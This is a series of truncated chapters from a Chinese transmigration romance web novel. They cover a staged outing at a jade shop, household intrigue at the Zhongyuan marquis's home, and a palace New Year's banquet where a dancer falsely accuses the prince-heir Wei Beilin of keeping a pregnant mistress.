“别!别!”八尺高的男人在她面前竟无措得像幼兽,他忽然福至心灵,“你是不是,不想我买那块玉?” 褚雪镜不置可否,只问:“你买那玉有何用?” 自然是全了褚雪镜的身份,让这场戏看起来更真些。 可这话若是说出来意味便变了,卫北临犹豫道:“那玉是好玉,我瞧着也喜欢,就买了。” 他听见褚雪镜轻笑一声,“玉是好玉,可比起世子腰间这块差远了。” 他腰间的玉?卫北临将那枚玉佩取下来,这玉是他晨起时随便拿的,他不懂这些,但褚雪镜是一直生活在古代的大小姐,在鉴宝方面总比他强,他正要开口找补,便听褚雪镜疑道: “我说什么便是什么么?” 她上前两步,似是颇为遗憾道:“可惜,我也不太懂玉。” 卫北临意识到自己被摆了一道,“我……” 褚雪镜却又唤他:“卫世子。” 卫北临无声握紧手中的玉佩,下颌绷紧,轻垂下眼不去看她。 “我听闻金陵传,卫世子不学无术、纨绔成性,”想象中的审判并未出现,女子轻盈的声音落在耳边,“但两次相见,看来传言不可信。” 褚雪镜看见他喉头滚了一下,不知是害羞还是紧张。 重新夺回的主动权让她颇为愉悦,褚雪镜又走近一些,这次却是卫北临往后退了一步。 “卫世子,”褚雪镜撩起面前的帘纱,露出半张容颜,眉眼微弯,“那便陪我将戏演完罢。” …… 褚雪镜无故失踪,玉石没付钱是小事,毕竟银票是秋芝帮她揣着,不成问题。 可直到原石被切开,秋芝按她的吩咐让鸿玉坊的人将切开的玉料送去东宫后,也不见她的身影。 “你在此处等她,”钟远良也意识到事情有变,面色不太好看,“我去找找。” 褚雪镜先前没来过鸿玉坊,人生地不熟万一出了岔子他和秦合欢也不好交代。 秋芝正欲应声,却远远看见人群后出现的一抹雪白身影。 “钟师傅……”坊中与褚雪镜装扮相似的姑娘不少,那人离得有些距离,不好确认,“你瞧那人像不像我家小姐?” 钟远良翘首去看,两瞬后奇道:“你们小姐来鸿玉坊私会情郎的?” 秋芝:? 她惊怒,连尊称都不用了,“你瞎说什么?!” 钟远良抬了抬下巴,“你没看见她身边有个男的么?” 远处的两人身形挨得很近,如胶似漆一般,秋芝瞪大眼睛,一个字也说不出了。 那肯定就不是她家小姐了吧…… 然而那两人径直穿过人群,离他们越来越近。 男人未做伪装,一身玄衣蓝袍,剑眉星目,正是那纨绔世子卫北临。 而他身旁的女子…… 秋芝顿时慌乱无章,若是方才离得远她不确定,眼下却是肯定这人是谁了。 小姐怎么会和镇北王世子在一起?! 此处人多眼杂,秋芝就算再焦急也不敢轻举妄动,害怕坏了褚雪镜的章程。 只见那白衣女子与她擦身而过,似是与秋芝半分不识。 秋芝沉了口气,压下心中翻腾的情绪,故作镇静,“钟师傅,我突然想起小姐昨日说她这个时辰有它事,应是去处理了。” 她匆匆颔首,“多谢钟师傅,再会。” 秋芝走得很急,像是身后有什么洪水猛兽在追她。 钟远良无言挑眉,他哪能看不出其中猫腻,不过到底是人家的私事,与他无关,于是甩了甩手臂,想到自己未来都不用愁烟叶,心满意足地回去继续磨刀。 * 鸿玉坊外,戴着幂篱的女子扶着男人的手心登上马车。 旁人认不得那女子,但卫北临和卫宅的马车是认识的,登时大惊失色。 天啊,这位纨绔世子终于开窍了吗! 卫北临忽视周围难掩的窃窃私语,提裳亦钻进车中。 卫宅的马车规格不小,车门被合上、帘帐落下,直到马夫驱车离开,众人依然没回过神来。 不出半个时辰,卫北临疑养外室的流言便传遍金陵,包括皇宫。 …… 马车一路驶离街道,却又神不知鬼不觉地绕回了鸿玉坊附近的一条胡同里。 这条胡同冬夏都荒废,空无一人,除卫宅的马车外,还停着一辆静默的、似也无人的马车。 “多谢卫世子。”褚雪镜取下幂篱,含笑道,“回府后,我会让秋芝将买玉的银子送到贵府。” “没、没事。”卫北临手指蜷了蜷,总觉得空落落的,“玉是我买的,也送去了我府里,与你无关。” 褚雪镜敛眸,卫北临便也沉默,两人无言两瞬,褚雪镜忽地抬眼,“你 17.棋 《变成恶女的猫后被读心了(穿书)》全本免费阅读 哒哒的马蹄声渐渐远去,褚雪镜坐在马车中披上厚氅。 车里矮几旁燃着小炉,秋芝将车帘整理好,总算松了口气,“小姐,您下回要做什么提前给奴婢吱个信儿,奴婢也好提前做准备。” 褚雪镜拥着厚衣,秋芝给她准备了汤婆子,暖意逐渐回升,她倚着一角,温声道:“事出突然,下次不会了。” “你最好是。”秦合欢冷哼一声,时间越长她越发现褚雪镜内里的反叛,面上说得比谁都好听,实际上一个字都不能信。 她找到秦合欢时口口声声说不曾去过鸿玉坊,希望秦合欢能帮她的忙。 虽然她从不会少秦合欢的报酬,可…… 秦合欢瞧着她秾丽的容色,她能感觉到褚雪镜对她有一种莫名的信任,但显然,这种信任还不足以支撑她将一切都和盘托出。 算起来她们相识还不足一月……倒像她逾矩了。 “如何?”秦合欢敛起神思,她抱臂坐在褚雪镜一侧,一身车夫打扮,她一直在此处等候,为的就是接应褚雪镜,“你方才下的马车,是镇北王世子的吧?” “嗯。”秦合欢亲眼见着,褚雪镜本就没想瞒她,“在坊中碰巧遇见,请他帮了个忙。” “帮忙?”秦合欢一双微挑的狐狸眼转了转,“什么忙在马车里还帮了这么久?” “秦馆主,”褚雪镜微微撩起眼皮,却不见怒意,“你很好奇?” “好奇啊,”秦合欢看热闹不嫌事大,冲秋芝抬了抬下巴,“她也好奇呢。” 秋芝先走为敬,“小姐,奴婢有点热,去外面凉快凉快。” 褚雪镜还未说什么,她便自觉地弯腰从车门钻了出去。 秦合欢:“……你这小侍女经不起逗呢。” 褚雪镜弯了弯唇,只道:“你猜今日萧胤玦会有何动作?” 提起正事,秦合欢轻佻的神色便收了起来,“你真将切开的玉料送去东宫了?” 褚雪镜施施然给自己倒了一杯热茶,轻抿一口,也反问她,“秋芝不都告诉你了?” 秦合欢眉头一动,萧胤玦的事她知道一些,他和褚雪镜的传闻金陵人人都有所耳闻,若不是褚雪镜托她去查,她也不曾料到当朝太子竟在褚玉霜还是木工之女时就有了不浅渊源。 如若褚玉霜不是忠远侯被抱错的女儿倒没什么特殊,可偏偏萧胤玦与褚雪镜这个假千金的事传得沸沸扬扬,背地里又恰恰和真千金有交情…… 结合忠远侯府的怪异作为,很难不让人起疑。 秦合欢问:“你接下来想怎么做?” “萧胤玦想娶我为妃,”谈起此事,褚雪镜神情淡淡,似是在说什么不起眼的小事,“那就先如他所愿,再让他算盘落空好了。” 她与萧胤玦竟有如此深仇大恨吗?秦合欢试探问了一句,“你和他有仇?” 褚雪镜歪了歪头,一手托腮,“讨厌两面三刀的男人,算么?” 秦合欢:“……” 她忽然想明白了其中关键,“所以那位镇北王世子……” 褚雪镜轻轻眨了下眼,像条慵懒的软骨蛇卧在那,漫不经心道:“他自甘为棋。” 女子嗓音幽幽,“倒省了我许多事。” …… 天色渐暗,褚雪镜回府时忠远侯夫妇和褚玉霜兄妹已在正堂等着。 “好孩子,怎么去这么晚?”乔恩兰率先迎上来要拉她的手,却被褚雪镜弯膝福身躲了去,面色僵硬几分,“可还顺利?” 褚雪镜像是没看见她的脸色,乖巧道:“托母亲的福,一切都好。” “脸都冻白了。”褚朗不满,“我说叫上玉霜咱们一起去,你偏不让。” 褚雪镜只道:“不好麻烦兄长和三妹。” 褚朗眉头皱得能夹死蚊子,“我是你兄长,有何麻烦不……” “朗儿。”忠远侯打断他,浑浊的目光落在褚雪镜身上,话却是对着褚朗说的,“雪镜不喜吵闹,你扰她做什么?” 褚朗有些不服,他明显感觉到褚玉霜回府后褚雪镜待他没有从前亲近,可要真论起来,褚玉霜才是他的一母同胞的妹妹,他倒不好当着众人的面厚此薄彼,只得用鼻子哼了一下,不吭声了。 褚雪镜不动声色将他们的神情纳入眼里,心中微叹。 他们个个都作出一副最疼爱她而忽略褚玉霜的神态,妄图以这种被比较出的优越感迷惑她、迷惑世人,待她死期一到,褚玉霜便是白玉无瑕的受害者。 而她跋扈不堪,霸占褚玉霜的人生不说,真千金回府仍“作妖示威”,完全不给人活路…… 多完美的一个罪人啊。 褚雪镜勾起唇角,配合道:“父亲,我知晓大哥是好意,只是女儿近来思虑过多……让你们担心了。” 堂中一家人,除褚朗外分明都对她的去处了如指掌,但又不得不做出一副什么都不知道的模样。她随口说自己想去郊外散心,还特意不允旁人跟着,如此拙劣的伎俩既符合她在他们心中一直以来的形象,也免去他们多余的打探。 金陵城中,她想做什么都瞒不过这些人,不如故意露出破绽,反叫他们降低警惕。 忠远侯道:“心里有什么事不要憋着,告诉我们便是,你身子弱,自己扛不住的。” 乔恩兰若有所感,似是想起了什么眼底蕴起一包泪,“镜儿,你和玉霜都是我们的孩子,你……” 她无奈地摇了摇头,忧愁不掩,“无论如何,都别伤了自己的身子。” 褚玉霜则仍旧是那副唯唯诺诺的样子,像株不起眼的春草,一言不发。 这家人日日都演这出戏——严父慈母、自卑懦弱的亲生女儿——褚雪镜早看腻了。 她抬手揉了揉自己的额角,面上显出几分疲意,“父亲母亲,我有些累了……” “累了便回去歇着吧。”乔恩兰叫秋芝,“送小姐回房休息吧。” 秋芝低眉顺眼地扶着褚雪镜往堂外走,褚雪镜脚步一停,回头道:“母亲,我想再添一位贴身婢女。” 她回眸看了看秋芝,道:“秋芝每日为我奔忙,我想再找一个能帮衬她两分。” 她已让秋芝在乔恩兰面前透了口风,今日提起便不显突兀。 毕竟秋芝并不是此前乔恩兰真正挑选之人,恐怕乔恩兰并不会完全信她说的话,而她院中的清扫侍女无一不是乔恩兰的眼线,不如再递给乔恩兰一个机会,看她会送一 18.事后 《变成恶女的猫后被读心了(穿书)》全本免费阅读 饶是卫北临早有准备,但一觉醒来听到好福绘声绘色的转告仍不禁扶额。 什么一掷千金为红颜、纨绔子为爱伏低做小、世子偷养的美娇娘其实是男子,只因世俗不允才扮做女装云云。 五花八门千奇百怪,只有他想不到,没有他们编不出来。 卫北临:“……”群众的脑洞是大而离谱的。 此等荒谬的传言无声从市井流进皇宫,卫北临毫无察觉地完成今日皇帝布置的任务,静站在桌案前等待皇帝批阅。 景仁帝登基不过十年,此时正值不惑,一身玄衣金纹袍,面相温润睿仁,然细瞧眉眼处依有未散帝威。以往卫北临交上去的“作业”他都会细致检查,可今日他放下奏折,只是随意瞟了一眼,道:“北临,近来功课你自觉如何?” 卫北临不明所以,只恭敬道:“回皇上,尚能应付。” 景仁帝:“你的应付便是尚有余力。”他语气淡淡,指节敲了两下他方才交上去的宣纸,似有未尽之语。 卫北临眼皮一跳,一种不详的预感涌上心头,果然,下一瞬景仁帝道:“明日起,你便寅时来请安罢。” 寅时。 寅时??!! 卫北临倏地瞪大眼,猛一抬头便对上景仁帝深究不满的视线。 这些时日他鲜少见到皇帝毫不遮掩地露出此般神色,除第一日他以为要将纨绔身份一装到底故意搞砸功课外,景仁帝待他从来都是如沐和风,比起君王更像父兄。 卫北临抿唇,大着胆子道:“臣斗胆请问……” “你也知道是斗胆!”景仁帝陡然拍桌,声调扬高,一副怒不可遏的姿态,“朕叫你日日来宫里请安学礼,你就是这般回报朕的?” 俗话说天子之怒,伏尸百万,御书房内只有他们二人,但卫北临清晰地听见门外的太监婢女哗啦啦下跪的声音。 卫北临却松了口气,心虚地挠了挠眉心,“陛下,您是不是听到那些流言了?” 景仁帝神色不明地打量着他,“那些是哪些?” 要说关于卫北临的流言,金陵中只多不少,什么花钱如流水、为人轻佻无礼无下限、背地里不敬皇室等等,流言多不压身,卫北临穿过来后景仁帝也不曾因为这些琐事斥责过他。 而他这几天唯一干的一件荒唐事,就是…… 卫北临飞快地瞅了一眼帝王的脸色,小声道:“比如……他们说臣在外养了外室?” 啪! 他话音未落景仁帝又一掌拍在案上,卫北临下意识一抖,余光瞥见景仁帝衣袂微晃行至他跟前。 “说说吧。”皇帝的声音从头顶落下,语气没有盛怒,亦没有责怪,只是在询问他事实,“到底是怎么回事?” 卫北临摸了一下额头,又抚了抚自己的颈背,看得景仁帝直拧眉,“你干什么呢?” 卫北临:“……” 他扯出一个尴尬的笑,人一想说谎,小动作就免不得变多,景仁帝阅人无数,哪里不知道他在打什么主意,“实话实说便是,朕不怪你。” 卫北临才不信他,“陛下,此事说来话长。” 景仁帝:“那就长话短说。” 卫北临还想挣扎,“实在是有些复杂……” “卫北临。”景仁帝连名带姓地叫他,便是最后通牒的意思。 就算他对卫北临多有纵容,也不会容忍下臣蹬鼻子上脸,挑战他的权威。 卫北临:“就是那姑娘在鸿玉坊遇到些难事,我就顺手帮了她一把。” 他嘿嘿一笑,“助人为乐,人人有责嘛。” 景仁帝:“……” 皇帝的面色难看得吓人,卫北临暗暗琢磨了一下自己的话,心道皇帝怕是嫌他说得太俗气,于是补充道:“也就是赠人玫瑰,手留余香,对吧?” 皇帝沉默。 他索性直接问自己想知道的,“那姑娘是哪家人?” 这次换卫北临不吱声。 那就是身份特殊,说不得。 景仁帝继续问:“年芳几何?” 卫北临不确定道:“十七、十八?” 大燕朝十七八岁的女儿大多已婚嫁,景仁帝眯起凤眸,“可婚配否?” 卫北临一脸无辜,“萍水相逢我从何知道?” “萍水相逢?”皇帝无奈,这孩子怎么越学越天真了,“北临,你觉得天下事当真能瞒过朕吗?” “天下万事自然都瞒不过陛下。”卫北临笑眯眯道,“但陛下仁慈,也许能全了小辈的颜面。” 简直是歪理。景仁帝气得抬指点他,卫北临却又做一副谦虚有礼的模样,对皇帝作揖一拜,“陛下英明。” 英不英明的好话都被他说完了,过去他怎么没发现卫北临这般油嘴滑舌。 话已至此,再揪着不放似乎也不体面,皇帝转移话题,“昨日在鸿玉坊可有发现?” 卫北临:“啊?” 问他吗? …… “小姐,这些人都是夫人送来的,说凭您心意选。” 穿着荷色冬衣的侍女们身姿挺拔,目不斜视,整齐地在褚雪镜房中站成一排。 褚雪镜坐在梳妆台前,乌发如瀑,并未梳发髻,她静静端详着铜镜中倒映出的人影,勾起唇角似笑非笑道:“你们是自己想来我这当差,还是母亲强迫来的?” 侍女们面面相觑,心中有些慌乱,却不敢流露到表面。 秋芝扫了她们一眼,语气微沉,“小姐问你们话呢!” “回小姐,”其中一个侍女率先开口,“自然是自愿来伺候小姐的。” 褚雪镜虽恶名在外,但好在没有过苛待下人的名声,更何况当千金小姐的贴身婢女可是件好差事,只要合主子的心意根本不缺赏赐。 几道艳羡的目光若有若无落在秋芝身上,秋芝恍若未见,冷声道:“剩下的人呢?你们都是被逼来的?” 就算真是被逼迫的也不可能在这种场合抖出来,众人纷纷表了衷心,便见那娇小姐终于转身,轻浅的目光在她们面上流连。 “不必害怕。”褚雪镜轻笑,漂亮的桃花眼里眸色清亮,丝毫没有传闻中的高傲,“我只有一个问题,谁答得令我满意,我便留下谁。” 她从妆台上摆着的木匣中拾起一枚红豆,红豆夹在她两指间,被窗外洒进来的光镀了一层金,“若是我生了一个人 19.除夕夜宴 《变成恶女的猫后被读心了(穿书)》全本免费阅读 鸿玉坊一事之后,褚雪镜便又开始闭门不出,像是什么都无所谓不在意,连忠远侯府里的人都见不了她几次。 【累死了累死了。】 卫北临泄愤般一口咬住金雪的窝垫,恨恨磨牙。 【天杀的封建社会!天杀的皇权!】男人顶着猫身肆无忌惮地在心中嚎啕,【我在现代没当成牛马,搁这超级加倍呢!】 从鸿玉坊“外室”风波后,只要卫北临穿过来就是噼里啪啦一阵吐槽咆哮,其悲惨程度便是褚雪镜也不由在心中怜悯他两分。 她见怪不怪地伸出食指顶开他的猫头,让金雪的窝幸免于难,“金雪,你这几天怎么回事?别咬自己的窝,咬坏了你就自己去叼茅草来搭。” 卫北临:“喵喵喵呜呜!” 帝王发话,自然没有反悔的道理。景仁帝说是寅时就是寅时,他每日天不亮就爬起来进宫请安——说是请安,实则国论兵策一个不落,皇帝下了早朝便来查课,甚至在课后加了射箭练武,卫北临几乎一回府就倒头就睡。 直到今日,他总算从景仁帝称得上是魔鬼训练里得以喘口气——因为明日除夕,皇帝善心大发给他放了天假。 可这太不对劲了,褚雪镜也意识到了问题。 显然景仁帝并不是当真忌惮镇北王,亦没有有意养废他的儿子,反而暗中悉心培养,如若只是做表面功夫未免太过费心,但既然如此,前世的“卫北临”又为何会在回北境的途中病死呢? 褚雪镜习惯性地撸着猫头,回过神来才发现卫北临尾巴一耷拉,不知什么时候已经睡熟了去。 她将专门为金雪做的小被子盖在他身上,明日除夕宴可是群英荟萃,有场硬仗要打。 * 腊月二十九,除夕。 天子仁善,正临新年,大赦天下。 自大燕建朝起,除夕夜宴年年操办,至今已持续了六十余年。皇帝宴请朝中大臣、世家贵族齐聚一堂,允其携家眷入宴。 大燕民风开放,男女同宴。正妻与夫同坐,小辈男女则按家中排行对席落座。 “皇上、皇后娘娘驾到!” 虽是夜宴,却是从黄昏便到齐了人。席间乌压压跪了一片,景仁帝金冠龙袍,身边便是同样盛装的皇后。 正所谓人逢喜事,大好的日子也就没那么多拘礼,景仁帝还未走上主位便已笑道:“今日喜庆,诸位不必多礼。” 众人齐道:“谢皇上,皇上、皇后娘娘千秋万岁。” 两人身后跟的便是太子萧胤玦和两位皇子,景仁帝却不急着上座,岁月并未在他的面容上留下斑驳的痕迹,即便脸上如温风和煦却威势更涨。 他无声扫过席上的人们,忠远侯府家失散多年的千金找了回来,因此倒是多了个生面孔。圣心难猜,景仁帝不落座,在场的人自然无一不战战兢兢站着,生怕他突然发难。 “贺尹。”皇帝忽然道。 老太监穿着件紫色绸袍,垂首恭敬道:“奴才在。” 景仁帝笑意不减,“朕瞧爱卿们有些心神不宁,恐怕是近来朝中事务繁多忧思过甚,宴后叫御膳房煮些安神汤,务必让各位大人饮过再走。” 贺尹心领神会,意味深长道:“奴才这就吩咐下去,诸位大人必定感激您一片苦心。” 人人皆在当场,景仁帝明褒暗贬,借着赏的名头在敲打他们为臣不安、对上有愧。 众人又齐刷刷地跪下去,高喊道:“多谢陛下体恤!” 近来朝中多有动荡,隐在人群中的褚雪镜费了番功夫才记起来,应是沧州知府回金陵述职被刺杀一事令皇帝不满,前世她对朝堂政事漠不关心,后来还是秦合欢和她提过两句,她才有印象。 沧州、又是沧州。 褚雪镜随众人跪伏在地,诸多线索似乎都指向一个地界,可越是这样,她的不安就越浓烈。 她是死过一次的人,对危险的感知力比一般人更敏感,即便她有机会重来一次,但很多时候她仍然感觉自己像被编织在一层巨大的、看不清的罗网中。 而要逃出这张网……褚雪镜若有所感般抬眼望向斜对面铺散在地的月白色袍角,她的角度看不见那人的脸,但能瞧见被牵动的衣袂。 两人的席位相距甚远,几乎算得上是一南一北,偏偏景仁帝正在道中,两厢一拜,却是正好能瞥见对方动作。 卫北临发誓他只是无意看见褚雪镜所以多瞟了一眼,谁知道她跟装了雷达一样打他个措手不及。男人下意识挪了下膝盖,下一瞬便见一抹明黄挡住了他的全部视线,抬头果然对上了景仁帝别有深意的眼神。 卫北临:“……”完蛋了,怎么皇帝也是个雷达啊?! 景仁帝似笑非笑道:“平身吧。”说完他便转身同皇后登上主位落座,仿佛方才只是巧合。 萧胤玦落后一步,眸色微暗,阴鸷的视线从卫北临身上一扫而过。 这位镇北王世子近来还真是风头无两,他眼眸微眯,也不知道褚雪镜看上他哪点,此般蠢样就是做棋子都不够格。 围炉宴那日如出一辙的阴冷感再次浮现,卫北临甫然与他对视,果然是萧胤玦。 他扯了扯唇角,挑衅地冲萧胤玦挑了下眉。 嘁,死渣男,who怕who! 要不是场合特殊,他高低还翻个白眼! 将一切纳入眼底的褚雪镜,“……” “皇兄。”萧元灏暗暗拉了萧胤玦一把,虽说他不知这几日萧胤玦为何心情不佳,但卫北临不过一个质子,没必要为他在除夕宴上触了皇帝的霉头。 萧胤玦无声冷笑,拂袖入席。 景仁帝面无异色,似乎无甚在意,依旧笑意不改,他执起酒杯,朝席下臣子高声道:“今夜除夕,便是要辞旧迎新,朕祝诸位岁常欢愉、康泰如意;愿我大燕风调雨顺、太平长安!” 众人亦举酒以敬,“愿我大燕风调雨顺、太平长安!” 贺尹适时上前低声道:“陛下,已准备妥当。” 他声音把控得当,轻而易举便勾起众人的探欲。景仁帝抬手示意席下人们坐下,悠悠道:“那便开始吧。” 帝王命令一下,身姿绰约的女子们便盈盈而入,皆面掩薄纱,长袖粉裙,头簪玉花,袖身一扬,姿态蹁跹,显然是要歌舞之意。 皇后容色轻变,正要说什么,景仁帝却握住她的手,让她安心。 即便天子坐堂上,下方的臣子妇人们也没忍住交耳窃窃。卫北临环顾一圈,察觉出一丝异样,他席位在中后方,随手便勾 20.外室 《变成恶女的猫后被读心了(穿书)》全本免费阅读 舞乐戛然而止,景仁帝脸色低沉如水,堂中舞女纷纷跪伏,胆小的已瑟瑟发抖,众人皆静声屏气,死寂和恐惧在空中蔓延,落针可闻。 “陛下!”席间一老者骤然起身,拽着一青年疾步上前跪下,“臣教子无方,请陛下责罚!” 景仁帝脸色阴晴难明,指节在扶椅上缓缓敲着,嗒嗒的轻响却比锣鼓更让人觉得心脏咚咚,仿佛每一下都敲在他们的项上人头上。 “太傅。”良久,景仁帝开口。 堂下老者颤颤巍巍将头伏得更低,“微臣在。” 太傅者,多为帝王师,为师为父,为忠为臣,即便是皇帝,也该给自己的老师几分薄面。 景仁帝叹了口气,未尽之言何意显而易见。 萧胤玦薄唇微抿,却也跪了下来,“父皇……”林泉正是景仁帝的老师,亦是太子的老师,萧胤玦如何能坐得住。 景仁帝睨了他一眼,只道:“林成观御前言行无状,念其初犯,便禁足一月吧。” 跪在自己父亲身后的林成观脸色一阵青白,他抬头还想辩解什么,却被林泉正一把压回去。 林泉正正身伏拜道:“微臣多谢陛下!” 林泉正官封太傅,曾经亲自一手带大如今的皇帝,后来同是储君的老师,光是这两项功绩足以保他一族后世无忧。 林成观从未见过父亲这般慌张恐惧,他只是随口说了一句那个纨绔罢了,父亲何必上纲上线…… 林泉正嗓音低颤,“逆子!跪好!” 林成观背脊一抖,终是不想当众忤逆父亲让父亲丢了颜面,亦不愿将事情闹到不可开交的地步,便安分地跪伏在地,高声道:“臣鲁莽多言,自知有罪,谢陛下隆恩。” 金陵子弟自幼学礼,即便平头百姓也知道皇帝面前不可放肆,今虽是一年一次的盛宴,可年前重臣遭刺杀一事本就触怒圣颜,皇帝碍于证据稀缺无从发作不代表此事就此揭过,各家世家朝臣都谨小慎微生怕被揪出把柄成为顶罪羊,偏偏出了这么一个不长脑子的蠢货。 但长眼的人都能看出来,林太傅这儿子哪是真的蠢货,分明是被人当枪使不自知,还要让他年事已高的父亲给他善后。 皇室正宴上冲撞皇帝是重罪,只是禁足一月已是皇帝看在林泉正曾教养过他的份儿上格外开恩。景仁帝登基十年,林泉正尊封太傅而如今年过半百已然心有余而力不足,早已生了辞官还乡之意,可为了林成观不得不咬牙坚持。 毕竟林成观年已二十仍文不成武不就,林泉正只有他这一个儿子,除了以太傅之位为不成器的孩子谋求荫庇外,还能做什么呢? 众人心知肚明的事情,皇帝不会一无所知。 背后人借林成观的“口无遮拦”想捅到大家面前的事—— 景仁帝长叹一声,既然如此,他便只能秉公而为了,“小子,你说宴上有卫北临偷养的外室?” 权贵世族、官宦众臣,贪恋美色者不在少数,然权力分布错综复杂,若想在金陵立足、巩固势力,往往以联姻之策最上。虽为联姻,但既有强强联手,亦不缺弱者攀附。 大燕律法明令一夫一妻,纳妾必须通过正妻同意,且妾者不得超过三人;因此若女方势弱依附男家,便不得不忍气吞声,若女家势高,男子多暗中偷养外室,不算什么稀奇事。 常人眼中虽不算稀奇事,可一旦被发现,便是言官弹劾的要害。 更别说,卫北临尚未娶妻,罪加一等。 林成观再傻,到现在也知道自己惹火上身了,只道:“回皇上,臣晃眼一瞧并不确定,兴许是看错了,请皇上恕罪。” 然此刻他想搅稀泥和浑水已经由不得他了,只见粉裙中忽然跌出一女子,啜泣连连道:“奴婢若雪,请陛下为奴婢主持公道!” 女子身形纤弱,泪意婆娑,柔柔地伏在堂中,我见犹怜。 四下哗然。 卫世子养外室一事他们确是有所耳闻,然传言纷杂,群魔乱舞,唯有那日亲自在鸿玉坊见到的人才知道真相。 但这女子既然胆敢当众向皇帝求助,想必有几分真,更何况,如果不是逼不得已,一个舞女怎会心甘情愿用自己的性命做赌注诬害世子呢? 贺尹立在帝王身边,厉声斥道:“大胆!你何等身份胆敢求请陛下?!来人……!” 景仁帝神色淡淡,却是抬手止了贺尹的话,“让她说。” 若雪哀婉摇头,面露凄色,声泪俱下,“陛下明鉴,奴婢实在是迫不得已、求公无门才冒死求助陛下!” 她忽然神色微变,咬牙道:“奴婢要向陛下告发一人。” 景仁帝幽幽道:“何人?” 若雪纤指一抬,果不其然正正指向还在品酒的男人。 卫北临:“……”悬着的心终于死了。 从林成观莫名其妙说那句话开始,他就隐约察觉到景仁帝送给别人的大礼还未拆开,倒是有人先给他送上“礼”了。 林成观一言是为导火索,幕后之人料到景仁帝对林太傅一家必定宽容,而林成观此人暴躁多言、最易上钩,是最好的栽赃人选。 但林成观好歹是林泉正的独子,傻的了一时傻不了一世,故而这位名为“若雪”的舞女才是此计的重头戏。 人生啊。 卫北临眼神微动,先前扰乱视线的人该趴的趴该跪的跪,他只消轻轻抬眼,便能瞧见斜对角淡然自若的女人。 此情此景似乎同围炉宴那日渐渐重合,唯一不同的是,他状似无意地扫过她的面容时,褚雪镜毫无征兆地抬眼,与他的视线一触即离。 好似唇边还有未散的笑意。 还笑他!他都“死到临头”了! “卫北临,”景仁帝支着头,眸色淡淡地打量着他,“此女所言可属实?” 卫北临离席走上前,拱手道:“回陛下,她瞎说。” 众人:“……” 并非他们对卫北临这个纨绔抱有多大希望,但卫北临总能一次又一次刷新他们对他的见解。 若雪美眸一瞪,豆大的泪珠又滚了下来,“卫北临!你欺我辱我也罢,我贱命一条随你怎么作弄!可如今对簿 21.辩白 《变成恶女的猫后被读心了(穿书)》全本免费阅读 褚雪镜轻呼出一口气,此等手笔旁人不知,她却是能肯定其中必然有萧胤玦的参与。 前世没有卫北临,她也未曾看穿身边的豺狼虎豹,甚至在除夕宴前她仍缠绵病榻,郁郁寡欢。 因此在宴中时她心不在焉,褚玉霜便要陪她在御花园散心——她毫无察觉地允了,顺理成章与萧胤玦“巧遇”。 而恰恰萧胤玦问起死去的金雪,她情绪大起大落竟昏了过去,再醒来已在皇后的坤宁宫中。 但这一世,她以静养为由闭门不出,即便是去鸿玉坊那日也将金雪托给秦合欢照顾,护住了金雪,他们又会用什么手段引她出去呢? 她好整以暇地看着堂中乱作一团,萧胤玦整这么一出,恐怕没有精力再作弄她了。 褚雪镜眸光一闪,忽然僵住了身子,心不受控制地跳得飞快。 前世……前世的除夕夜宴上根本没有舞女这一出,且不说萧胤玦现在根本没有足够大的权力为了让卫北临受罚而改变夜宴的流程,能如此做的只有一个人…… 她微垂着头,暖绒的蓬衣簇着她皙白修长的天鹅颈,此时因紧绷的下颌收贴勾勒出一弧筋脉,如同一枝弯柳。 皇宫处处燃着银炭,置身其中仿若暖春,她却浑身发寒,仿佛四肢百骸都浸在冷水里。 皇帝。 褚雪镜轻偏过眼,在混乱中用余光掠见高台上明黄加身的男人,皇后端坐在他身边,秀眉微蹙,似在忧心什么。 她眼睫颤了颤,目光不由自主落在皇后半掩在宽袖下轻抖的柔夷上。 久病成医,前世她被秦合欢救下后也随她学过一些皮毛。那坐在高堂上的皇后虽妆点精致雍容,可眼角微垂,印堂暗沉,脂粉也盖不住她的疲惫。 照前世的轨迹,不出三月,便是她香消玉殒之时。 “启禀陛下、皇后娘娘,”临时被拉来的太医抖着胡子跪着,抱拳举过头顶,苍老的声音将褚雪镜的神思拉回,“这位姑娘确是已有身孕。” 短短两句话震惊四座。 褚雪镜敛眸,再抬眼时眼中已泛起一丝忧虑,裹含着不易察觉的愧疚无声望着立在堂中的男人。 眼下无论谁都目不转睛地看这出闹场,褚雪镜的视线算不上突兀,卫北临却在抽泣和窃语中敏锐捕捉到她的神色。 她担心我。 卫北临眼皮一烫,猛然收回目光。 若雪还在凄戚哭着,“如若不是为了肚子里的孩子,奴婢不会犯大不韪冒犯圣上,还毁了这么喜庆的日子……” 景仁帝沉声问:“齐太医,能看出她什么时候有的身孕么?” 齐太医只觉得自己九个脑袋都不够用,怎么偏偏今日是他轮值,“回陛下,应有三月有余。” 景仁帝深吸一口气,似是怒极,已然不顾圣威,指着卫北临气道:“你还有什么话要说?” 卫北临眨了下眼,二话不说扑通一声跪下,背脊板正,字句铿锵,“陛下,就算她怀了孩子也与臣无关呐,怀的又不是臣的孩子。” 若雪目眦欲裂,恨声道:“卫北临,你还在狡辩!” 戏嘛,随便演一演算个乐子,但演过头就惹人生厌了。卫北临面色微冷,向来含笑的凤眸眸色幽深,眉眼间竟流露出几分戾气,“我问你,既然你说你怀的是我的孩子,那是何时欢好才有的?” 若雪张嘴欲答,却被卫北临打断,“我再问你,你说你是我养的外室,那我把你养在何处?何时开始的?你我又是如何认识的,发生过什么让你印象深刻的事?” 眼看若雪苍白的脸上失去起初的笃定,萧云瑶插嘴道:“你问这么多,谁能答得上来?” 卫北临眉尾一扬,冷笑道:“不是同我情深似海、不是夫妻胜似夫妻么?这就答不上来了?” 他寒凉的眸光不屑地扫过萧云瑶,嗤道:“她是你爹还是你娘啊?肚子里怀的是你的兄弟姊妹么?你瞎操心什么呢?” 萧云瑶脸色涨红,拍桌而起,“卫北临你别给脸不要脸!” “云瑶!” 萧胤玦厉声制止她,可惜为时已晚,今日的闹剧已经够让人烦心了,景仁帝沉着脸,不悦道:“萧云瑶,你学的皇室礼仪都喂狗了吗?!” 话虽难听,可足以威慑在场所有人,一时间人人低头顺眉,堂中骤然陷入死寂。 “陛下,”卫北临声正辞严,竟半分没有先前纨绔不着调的模样,“臣自认愚笨轻浮、不堪大任,但臣从来不流连烟花柳巷之地;再者这位姑娘口口声声说与我情深,却说不出相处的细节,即便理由再多,可孩子都有了,怎会一点回忆也无呢?” 显然恐惧而静默的气氛并不能影响到他,此刻偌大的皇庭只有他一个人的声音,格外清晰,又格外令人耳目清明。 